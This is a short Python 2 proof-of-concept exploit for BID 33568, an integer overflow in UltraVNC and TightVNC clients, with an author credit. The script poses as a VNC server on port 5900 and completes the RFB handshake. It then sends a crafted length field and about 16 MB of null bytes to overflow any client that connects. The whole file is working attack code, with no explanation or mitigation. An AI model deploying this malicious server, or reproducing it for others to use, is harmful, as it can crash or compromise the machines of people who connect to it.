#!/usr/bin/env python
# POC: Multiple VNC Clients Multiple Integer Overflow Vulnerabilities(UltraVNC and TightVNC), BID 33568
#Author: Andres Lopez Luksenberg <polakocai@gmail.com> (Visit: http://208.66.16.113/~andres/)
#
import socket

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('', 5900))
serversocket.listen(1)

while True:
    print "Author: Andres Lopez Luksenberg <polakocai@gmail.com> (Visit: http://208.66.16.113/~andres/)"

    clientsocket, clientaddres = serversocket.accept()
    
    data = 'RFB 003.003\n'
    clientsocket.sendall(data)

    data_cli = clientsocket.recv(1024)
    print data_cli

    data = '\x00'
    clientsocket.sendall(data)

    data = '\x00\x00\x00\x75'
    clientsocket.sendall(data)
    data = '\x00' * int(0xffffff)

    clientsocket.sendall(data)

clientsocket.close()
serversocket.close()